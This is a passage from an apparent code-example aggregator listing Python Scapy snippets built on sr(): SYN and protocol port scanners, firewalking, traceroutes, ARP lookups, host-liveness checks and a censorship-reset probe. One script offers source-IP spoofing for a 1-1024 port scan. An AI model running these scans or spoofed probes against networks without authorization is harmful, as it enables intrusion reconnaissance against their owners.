            self.addToDict("hosts", y.src)
        except:
            # Ugly hack
            pass

        self.results = self.hosts
        return True
Example #38
0
def main():
   print "\nBeginning firewalk of %s\n" % (options.dstnet)
   print "Using the following ports:\n %s\n\n" % (tports)

   # TODO: automate traceroute var discovery
   # traceroute(options.dstnet)
    
   res_c,unans = sr(IP(dst=options.dstnet, ttl=int(options.dstttl))/TCP(dport=tports,flags="S",options=[('Timestamp',(0,0))]), timeout=2, retry=-2)
   res_c.make_lined_table(lambda (s,r):(s.dport, s.dst, r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src%#%r,ICMP.type%}")))
Example #39
0
 def __init__(self, dst, tries, hops=30): #dst is a domain name
     self.dst    = dst
     self.tries  = tries
     self.hops   = hops
     pkt = scp.IP(dst=dst) / scp.ICMP()
     ans, unans = scp.sr(pkt, verbose=0)
     self.ip = ans[0][0].dst
     self.hosts = [Counter() for _ in xrange(hops)]
     self.times = [{} for _ in xrange(hops)]
Example #40
0
def scan_web_port(ip):
    open = []
    packet = IP(dst=ip)
    packet /= TCP(dport=[80, 443], flags="S")
    answered, unanswered = sr(packet, timeout=1)
    for (send, recv) in answered:
        if not recv.getlayer("ICMP"):
            flags = recv.getlayer("TCP").sprintf("%flags%")
            if flags == "SA":
                open.append((send.dport))
    return open
Example #41
0
def send_recv_packet(packet, iface=None, retry=3, timeout=1, verbose=False):
    """Method sends packet and receives answer

    Args:            
       packet (obj): packet
       iface (str): interface, used when Ether packet is included
       retry (int): number of retries
       timeout (int): timeout to receive answer
       verbose (bool): verbose mode

    Returns:
        tuple: answered packets, unswered packets

    Raises:
        event: inet_before_sendrecv_packet
        event: inet_after_sendrecv_packet

    """

    try:

        from scapy.all import sr, srp

        mh.demsg('htk_on_debug_info', mh._trn.msg('htk_inet_sending_recv_packet', iface, retry, timeout),
                mh.fromhere())

        ev = event.Event(
            'inet_before_sendrecv_packet', packet, iface, retry, timeout, verbose)
        if (mh.fire_event(ev) > 0):
            packet = ev.argv(0)
            iface = ev.argv(1)
            retry = ev.argv(2)
            timeout = ev.argv(3)
            verbose = ev.argv(4)

        if (ev.will_run_default()):
            if (iface != None):
                ans, unans = srp(
                    packet, iface=iface, retry=retry, timeout=timeout, verbose=verbose)
            else:
                ans, unans = sr(
                    packet, retry=retry, timeout=timeout, verbose=verbose)

        mh.demsg('htk_on_debug_info', mh._trn.msg(
            'htk_inet_packet_sent_recv'), mh.fromhere())
        ev = event.Event('inet_after_sendrecv_packet')
        mh.fire_event(ev)

        return ans, unans

    except (Scapy_Exception, error) as ex:
        return None, None
        mh.demsg('htk_on_error', ex, mh.fromhere())
Example #42
0
def traceroute(target, max_ttl, timeout, dport=80, verbose=None, \
               tcp_options=[]):
    """
    Sends an TCP SYN request on dport to the target with a varying TTL.
    Return None if the target was unreachable or returns an iterable of pairs
    representing the hops. The first item of the tuple contains the packet sent
    whereas the second one contains the packet received (None if the router did
    not respond).
    """

    def by_ttl(ans1, ans2):
        """Compares two answers by the TTL of their respective query."""
        qry1, _ = ans1
        qry2, _ = ans2
        return cmp(qry1.ttl, qry2.ttl)

    def from_target(target_ip, resp):
        """Returns True if the response comes from the given target."""
        return resp.src == target_ip

    try:
        target_ip = socket.gethostbyname(target)
    except socket.gaierror:
        return None

    # Sends a set of TCP SYN packets with a varying TTL. The following code is
    # from the Scapy's traceroute source code, slightly adjusted.
    anss, unanss = scapy.sr(
        scapy.IP(
            dst=target_ip, id=scapy.RandShort(), ttl=(1, max_ttl)
        )/scapy.TCP(
            seq=scapy.RandInt(), sport=scapy.RandShort(), dport=dport,
            options=tcp_options
        ), timeout=timeout, verbose=verbose,
        # We only consider ICMP error packets and TCP packets with at least the
        # ACK flag set *and* either the SYN or the RST flag set.
        filter="(icmp and (icmp[0]=3 or icmp[0]=4 or icmp[0]=5 or icmp[0]=11 \
                or icmp[0]=12)) or (tcp and (tcp[13] & 0x16 > 0x10))"
    )

    if any(from_target(target_ip, resp) for _, resp in anss):
        # Target reached.
        # Combines the list of answered queries with the list of non-answered
        # queries.
        # Sorts them by their TTL. Unanswered queries will have a None answer.
        # Selects the path up to the destination
        return takewhile(
            lambda (_, resp): resp == None or not from_target(target_ip, resp),
            sorted(chain(anss, ((unans, None) for (unans) in unanss)), by_ttl)
        )
    else:
        # Failed to reach the target.
        return None
def detect_inactive_hosts(scan_hosts):
    global scheduler
    scheduler.enter(RUN_FREQUENCY,1,detect_inactive_hosts,(scan_hosts,))
    inactive_hosts = []
    try:
        ans,unans = sr(IP(dst=scan_hosts)/ICMP(),retry=0,timeout=1)
        ans.summary(lambda(s,r) : r.sprintf("%IP.src% is alive"))
        for inactive in unans:
            print "%s is inactive" %inactive.dst
            inactive_hosts.append(inactive.dst)
        print "Total %d hosts are inactive" %len(inactive_hosts)
    except KeyboardInterrupt:
        exit(0)
Example #44
0
def send_wait_for_query(choose_must, presence):
    if world.f_cfg.show_packets_from in ['both', 'client']:
            world.climsg[0].show()

    ans, unans = sr(world.climsg,
                    iface=world.cfg["dns_iface"],
                    timeout=world.cfg["wait_interval"],
                    multi=True,
                    verbose=99)

    world.dns_qd = []
    world.dns_an = []
    world.dns_ns = []
    world.dns_ar = []

    world.srvmsg = []
    world.climsg = []

    for x in ans:
        a, b = x
        world.srvmsg.append(b.getlayer(2))

        if world.f_cfg.show_packets_from in ['both', 'server']:
            try:  # that is temp solution until we have good respond system checking!
                world.srvmsg[0].show()
            except:
                pass

    if presence:
        assert len(world.srvmsg) != 0, "No response received."
        # TODO testing should be more sophisticated, it's not working for dns queries
        # TODO make assertion for getting message that we didn't expected

    elif not presence:
        assert len(world.srvmsg) == 0, "Response received, not expected"

    if world.srvmsg[0].qd is not None:
        for each in world.srvmsg[0].qd:
            world.dns_qd.append(each.copy())

    if world.srvmsg[0].an is not None:
        for each in world.srvmsg[0].an:
            world.dns_an.append(each.copy())

    if world.srvmsg[0].ns is not None:
        for each in world.srvmsg[0].ns:
            world.dns_ns.append(each.copy())

    if world.srvmsg[0].ar is not None:
        for each in world.srvmsg[0].ar:
            world.dns_ar.append(each.copy())
Example #45
0
def cmd_protoscan(ip, iface, timeout, all_protocols, verbose):
    """
    Send IP packets with different protocol field content to guess what
    layer 4 protocols are available.

    The output shows which protocols doesn't generate a 'protocol-unreachable'
    ICMP response.

    Example:

    \b
    $ sudo python cmd_ipscan.py 45.77.113.133
    1   icmp
    2   igmp
    4   ipencap
    6   tcp
    17  udp
    41  ipv6
    47  gre
    50  esp
    51  ah
    58  ipv6_icmp
    97  etherip
    112 vrrp
    115 l2tp
    132 sctp
    137 mpls_in_ip
    """

    if verbose:
        logging.basicConfig(level=logging.INFO, format='%(message)s')

    conf.verb = False

    if iface:
        conf.iface = iface

    if all_protocols:
        protocols = (0,255)
    else:
        # convert "{name:num}" to {num:name}"
        protocols = { num:name for name,num in conf.protocols.__dict__.items() if isinstance(num, int) }

    ans,unans=sr(IP(dst=ip, proto=protocols.keys())/"SCAPY", retry=0, timeout=timeout, verbose=verbose)

    allowed_protocols = [ pkt['IP'].proto for pkt in unans ]

    for proto in sorted(allowed_protocols):
        print('{:<4} {}'.format(proto, protocols[proto])) #conf.protocols._find(str(proto))))
def get_hwaddr(ip):
    """
    Get hardware address from IP

    ip -- IP of target device (e.g. '192.168.1.1')
    """
    if not ip:
        raise HWAddrError('ip argument is None')

    r, u = sr(ARP(op=ARP.who_has, pdst=ip), timeout=1, verbose=False)
    
    if r.res:
        return r.res[0][1][ARP].hwsrc
    else:
        raise HWAddrError('Error getting hardware address.')
Example #47
0
 def sendreceive_packet(self, packet, original_src, original_sport, protocol, spoofed_sport):
     #send packet and receive responses.
     #self.ans will contain a list of tuples of sent packets and their responses
     #self.unans will contain a list of unanswered packets
     LOG("About to forward packet for " + self.id)
     ans, unans = sr(packet, verbose=0)
     #un-spoof the source IP address and port,
     #then add to the list of packets waiting to be sent back
     for pair in ans:
         LOG("Received response packet for " + self.id)
         response = pair[1]
         response[IP].src = original_src
         response[protocol].sport = original_sport
         response = IP(str(response))    #recalculate all the checksums
         self.pending_response_packets.put(base64.b64encode(str(response)))
         LOG("Appended response packet, session " + self.id + " (" + str(id(self)) + ") now has " + str(self.pending_response_packets.qsize()) + " packets waiting to be pulled from list " + str(id(self.pending_response_packets)))
     available_ports.append(spoofed_sport)  #return port to available pool
Example #48
0
    def run(self):
        try:
            a, u = sr(IP(dst=self.target, proto=(1, 254)), timeout=self.timeout)
        except:
            self.gom.echo("protoscan: " + str(sys.exc_info()[1]))
            return False

        for x in u:
            self.addToDict(self.target + "_protocols", x.proto)
            self.protocols.append([self.target, x.proto])

        self.protocols.sort()

        if len(self.protocols) == 254:
            self.gom.echo("[!] Target appears to have all protocols enabled!")
            return False

        return True
Example #49
0
def trace(dst):
	id = int(random() * 0xFFFF)
	pkts = [IP(dst = dst, ttl = i) / ICMP(id = id, seq = i) for i in range(1, MAX_HOPS)]

	ans, unans = sr(pkts, timeout = TIMEOUT, verbose = False, chainCC = True)

	hops = [None] * MAX_HOPS
	final = MAX_HOPS

	for snt, rcv in ans:
		hops[snt.ttl - 1] = {'ip' : rcv.src, 'rtt' : rcv.time - snt.sent_time}

		if rcv.type == 0:
			final = min(final, snt.ttl)

	del hops[final:]

	return hops
Example #50
0
    def distance(self, ttl):
        dst = self.ip
        pkt = scp.IP(dst=dst, ttl=ttl) / scp.ICMP()  
        ans, unans = scp.sr(pkt, verbose=0, timeout=1)
        pos = ttl -1

        if ans:
            rx = ans[0][1]
            tx = ans[0][0]

            if rx.type == ICMP_TIME_EXCEEDED or rx.type == ICMP_ECHO_REPLY:
                self.hosts[pos][rx.src] += 1
                if rx.src not in self.times[pos]:
                    self.times[pos][rx.src] = []
                self.times[pos][rx.src] += [(rx.time - tx.sent_time) * 1000]
                    
        if self.hosts[pos]:
            best = self.hosts[pos].most_common(1)[0][0]
            return (best, self.times[pos][best])
        else:
            return ('*', [0])
def detect_inactive_hosts(scan_hosts):
    """ 
    Scans the network to find scan_hosts are live or dead
    scan_hosts can be like 10.0.2.2-4 to cover range. 
    See Scapy docs for specifying targets.   
    """
    global scheduler
    scheduler.enter(RUN_FREQUENCY, 1, detect_inactive_hosts, (scan_hosts, ))
    inactive_hosts = []
    try:
        ans, unans = sr(IP(dst=scan_hosts)/ICMP(), retry=0, timeout=1)
        ans.summary(lambda(s,r) : r.sprintf("%IP.src% is alive"))
        for inactive in unans:
            print "%s is inactive" %inactive.dst
            inactive_hosts.append(inactive.dst)
        
        print "Total %d hosts are inactive" %(len(inactive_hosts))
             
        
    except KeyboardInterrupt:
        exit(0)
def traceroute_sr1_to_ans_i(dst_ip,ttl_seq,timeout):
    """
    Esta funcion recibe una ip destino, un ttl, y un timeout
    y realiza un echo-request; devuelve un diccionario r
    con los pormenores del resultado.

    r['ans']   = answered requests
    r['unans'] = unanswered requests
    r['time']  = tiempo desde request hasta recibir el reply
    r['host']  = host que respondio el reply
    r['hosname']  = hostname (DNS-inverso) que respondio el reply
    """
    from scapy.all import sr, sr1, ICMP, TCP, IP, RandShort
    import datetime
    r = {}
    #r['sr1'] = sr1(IP(dst=dst_ip, ttl=ttl_seq, id=RandShort()) / TCP(flags=0x2), timeout=2, retry=0, verbose=VERBOSE)
    global ID_GLOBAL
    ID_GLOBAL += 1
    packet = IP(dst=dst_ip, ttl=ttl_seq, id=ID_GLOBAL) / ICMP(type="echo-request")
    start = datetime.datetime.now()
    r['ans'],r['unans'] = sr(packet, timeout=0.5, retry=0, verbose=VERBOSE)
    end = datetime.datetime.now()
    # python time
    #r['start_time'] = start
    #r['end_time'] = end
    #r['delta_time'] = end-start
    #r['time'] = "%s ms"%int(round( r['delta_time'].total_seconds() * 1000 ))
    if r['ans'] != None and len(r['ans']) >= 1 and len(r['ans'][0]) >= 2:
        r['host'] = r['ans'][0][1][IP].src
        r['hostname'] = reverse_dns_resolve(r['host'])
        # packet time
        r['p_start_time'] = r['ans'][0][0].time
        r['p_end_time'] = r['ans'][0][1].time
        r['p_delta_time'] = r['p_end_time']-r['p_start_time']
        r['time'] = "%s ms"%int(round( r['p_delta_time'] * 1000 ))
    else:
        r['host'] = "*"
        r['hostname'] = "*"
        r['time'] = "*"
    return r
Example #53
0
def detect_inactive_hosts(scan_hosts):
    """Scan the network to find scan_hosts are live or dead
    scan_hosts can be like 10.0.2.2-4 to cover range
    See scapy docs for specifying target"""
    global scheduler
    # schedule.enter(delay, priority, action, (argument1,  ))
    # dealy 延迟时间
    # priority 优先级(用于同时间到达的两个事件同时执行时定序)
    # action 回调函数(被调用触发的函数)
    # argument1 回调函数参数
    # scheduler.enter(RUN_FREQUENCY, 1, detect_inactive_hosts, (scan_hosts, ))
    inactive_hosts = []
    try:
        # sr 返回有回应的数据包和没有回应的数据包
        ans, unans = sr(IP(dst=scan_hosts)/ICMP(), retry=0, timeout=1)
        ans.summary(lambda(s, r): r.sprintf("%IP.src% is alive"))
        for inactive in unans:
            print "%s is inactive" % inactive.dst
            inactive_hosts.append(inactive.dst)
        print "Total %d hosts are inactive" % (len(inactive_hosts))
    except KeyboardInterrupt:
        exit(0)
Example #54
0
def traceroute(dst, probe, ttl=(0, 255), timeout=2, retry=2, verbose=0):
    return sr(IP(dst=dst, ttl=ttl)/probe, timeout=timeout, retry=retry, verbose=verbose)[0]
def host_discovery(network_range):
    ans,unans=sr( IP(dst=network_range)/TCP(dport=80,flags="S"),verbose=0,timeout=1)
    ans.summary( lambda(s,r) : r.sprintf("\n %IP.src% is alive\n") )
Example #56
0
def probe_http_server(domain, ip, keyword, sport=0):

    if sport == 0:
        sport = random.randint(1025, 65535)
    ISN = random.getrandbits(32)
    window = 1460

    synack_cnt = 0
    synack_multi_seq = False
    synack_seq = 0
    try_num = 0
    synack_ttl = 0
    while try_num < 4:
        try_num += 1
        syn = IP(dst=ip)/TCP(sport=sport, dport=80, flags='S', seq=ISN, options=[('MSS', 1460)])
        ans, una = sr(syn, multi=True, timeout=TIMEOUT_WAIT_SYN_ACK, verbose=0)

        for _, pkt in ans:
            if TCP in pkt:
                if pkt[TCP].flags == SYN | ACK:
                    if pkt[TCP].ack == ISN+1:
                        synack_cnt += 1
                        if synack_seq != 0 and pkt[TCP].seq != synack_seq:
                            synack_multi_seq = True
                        synack_seq = pkt[TCP].seq
                        synack_ttl = pkt[IP].ttl
                    #pkt.show()
                if pkt[TCP].flags == ACK:
                    # a connection already exists, change a port
                    sport = random.randint(1025, 65535)

        if synack_cnt > 0:
            break

    if synack_cnt == 0:
        return RET_SYN_NO_RESP
    if synack_cnt > 1 and synack_multi_seq:
        # received multiple SYN/ACK with different seq num. could be in 90s blocking period
        return RET_GFW_RST
    
    ack = IP(dst=ip)/TCP(sport=sport, dport=80, flags='A', seq=ISN+1, ack=synack_seq+1, options=[('MSS', 1460)])
    send(ack, verbose=0)

    httpresp_cnt = 0
    gfwrst_cnt = 0
    ret = 0
    try_num = 0
    while try_num < 3:
        try_num += 1
        reqstr = HTTP_REQ_FORMAT % (keyword, domain)
        httpreq = IP(dst=ip)/TCP(sport=sport, dport=80, flags='A', seq=ISN+1, ack=synack_seq+1, window=window)/Raw(load=reqstr)
        #httpreq = fragment(httpreq, 40)
        ans, una = sr(httpreq, multi=True, timeout=TIMEOUT_WAIT_HTTP_RESP, verbose=0)

        for _, pkt in ans:
            if TCP in pkt:
                if pkt[TCP].flags | ACK and pkt[TCP].payload:
                    resp_line = pkt[TCP].payload.load.split('\n', 1)[0]
                    #print(resp_line)
                    parts = resp_line.split()
                    if parts[0] == 'HTTP/1.1' or parts[0] == 'HTTP/1.0':
                        httpresp_cnt += 1
                        if parts[1] == '200' and parts[2] == 'OK':
                            pass
                if pkt[TCP].flags == RST | ACK:
                    # from server or from GFW?
                    # very likely from GFW
                    gfwrst_cnt += 1
                if pkt[TCP].flags == RST:
                    # from server or from GFW?
                    # likely, but not definitely, to be conservative
                    if pkt[IP].ttl < synack_ttl - 1 or pkt[IP].ttl > synack_ttl + 1:# or pkt[IP].flags == 0:
                        gfwrst_cnt += 1
        
        if httpresp_cnt > 0 or gfwrst_cnt > 0:
            break

    # terminate the connection
    rst = IP(dst=ip, ttl=163)/TCP(sport=sport, dport=80, flags='R', seq=ISN+1+len(reqstr), window=0)
    send([rst, rst, rst], verbose=0)

    if gfwrst_cnt > 0:
        return RET_GFW_RST
    if httpresp_cnt > 0:
        return RET_SUCCESS
    if httpresp_cnt == 0:
        return RET_REQ_NO_RESP

    # will never reach here
    return RET_OTHER
def findremoteneighbors(ip, response):

    debug('Doing an ARIN whois lookup...')
    w = objectify(whoisip(ip, accept='application/xml'))
    network = IPNetwork([w.startAddress, w.endAddress])

    e = Netblock(network.netblock)
    e += Label('CIDR Notation', repr(network))
    e += Label('Network Mask', network.netmask)
    e += Label('Number of Hosts', int(~network.netmask) - 1)
    response += e

    if network.cidrlen < 24:
        debug('According to ARIN, the CIDR length is %d, reducing it to 24 for the scan...' % network.cidrlen)
        network.netblock = '%s/24' % ip

    debug('Probing the host on TCP ports 0-1024...')
    r = sr1(
        IP(dst=str(ip))/TCP(dport=(0,1024)),
        timeout=config['scapy/sr_timeout'],
        verbose=config['scapy/sr_verbose'],
        retry=config['scapy/sr_retries']
    )

    if r is not None and r.src == ip:
        dport = r.sport

        debug('Performing a traceroute to destination %s' % ip)
        ans = traceroute2(
            str(ip),
            TCP(dport=dport),
            timeout=config['scapy/sr_timeout'],
            verbose=config['scapy/sr_verbose'],
            retry=config['scapy/sr_retries']
        )

        l_hop = ans[-1]
        sl_hop = ans[-2]

        if sl_hop['ttl'] != l_hop['ttl'] - 1:
            debug(
                "It takes %d hops to get to %s but we could only find the router at hop %d (%s)." %
                (l_hop['ttl'], ip, sl_hop['ttl'], sl_hop['ip'])
            )
            debug("Can't find second last hop... aborting...")
        else:
            debug('It takes %d hops to get to %s and it is attached to router %s...' % (l_hop['ttl'], ip, sl_hop['ip']))
            debug('Sending probe packets to %s with ttl %d...' % (network, sl_hop['ttl']))

            ans = sr(
                IP(dst=repr(network), ttl=sl_hop['ttl'])/TCP(dport=dport),
                timeout=config['scapy/sr_timeout'],
                verbose=config['scapy/sr_verbose'],
                retry=config['scapy/sr_retries']
            )[0]

            for r in ans:
                if r[1].src == sl_hop['ip']:
                    debug('%s is attached to the same router...' % r[0].dst)

                    e = IPv4Address(r[0].dst)

                    alive = sr1(
                        IP(dst=r[0].dst)/TCP(dport=dport),
                        timeout=config['scapy/sr_timeout'],
                        verbose=config['scapy/sr_verbose'],
                        retry=config['scapy/sr_retries']
                    )

                    if alive is not None:
                       e += Field('alive', 'true')
                    response += e

    return response
Example #58
0
def cmd_tcpscan(ip, port, iface, flags, sleeptime, timeout, show_all, verbose):
    """TCP Port Scanner.

    Print the ports that generated a response with the SYN flag or (if show use -a) all the
    ports that generated a response.

    It's really basic compared with nmap, but who is comparing?

    Example:

    \b
    # habu.tcpscan -p 22,23,80,443 -s 1 45.77.113.133
    22 S -> SA
    80 S -> SA
    443 S -> SA
    """

    if verbose:
        logging.basicConfig(level=logging.INFO, format='%(message)s')

    conf.verb = False

    if iface:
        conf.iface = iface

    port_regex = r'^[0-9,-]+$'

    if not re.match(port_regex, port):
        logging.critical("Invalid port specification")
        return False

    ports = []

    for p in str(port).split(','):
        if '-' in p:
            first, last = p.split('-')
            for n in range(int(first), int(last)+1):
                ports.append(n)
        else:
            ports.append(int(p))

    out = "{port} {sflags} -> {rflags}"

    pkts = IP(dst=ip)/TCP(flags=flags, dport=ports)

    if sleeptime:
        res = []
        for pkt in pkts:
            logging.info(pkt.summary())
            _ = sr1(pkt)
            if _:
                logging.info(_.summary())
                res.append((pkt, _))
    else:
        res, unans = sr(pkts, verbose=verbose)

    for s,r in res:
        if show_all or 'S' in r.sprintf(r"%TCP.flags%"):
            print(out.format(
                port=s[TCP].dport,
                sflags=s.sprintf(r"%TCP.flags%"),
                rflags=r.sprintf(r"%TCP.flags%")
            ))
Example #59
0
import sys
from scapy.all import sr, IP, TCP

if len(sys.argv) < 2:
    print sys.argv[0] + " <host> <spoof_srouce_ip>"
    sys.exit(1)

# Send SYN Packets to all 1024 ports
if len(sys.argv) == 3:
    packet = IP(dst=sys.argv[1], src=sys.argv[2])
else:
    packet = IP(dst=sys.argv[1])

packet /= TCP(dport=range(1,1025), flags="S")

answered, unanswered = sr(packet, timeout=1)

res = {}

#Process unanswered Packets
for packet in unanswered:
    res[packet.dport] = "filtered"


# Process answered Packets
for (send, recv) in answered:
    # Got ICMP error message
    if recv.getlayer("ICMP"):
        type = recv.getlayer("ICMP").type
        code = recv.getlayer("ICMP").code
        #Port unanswered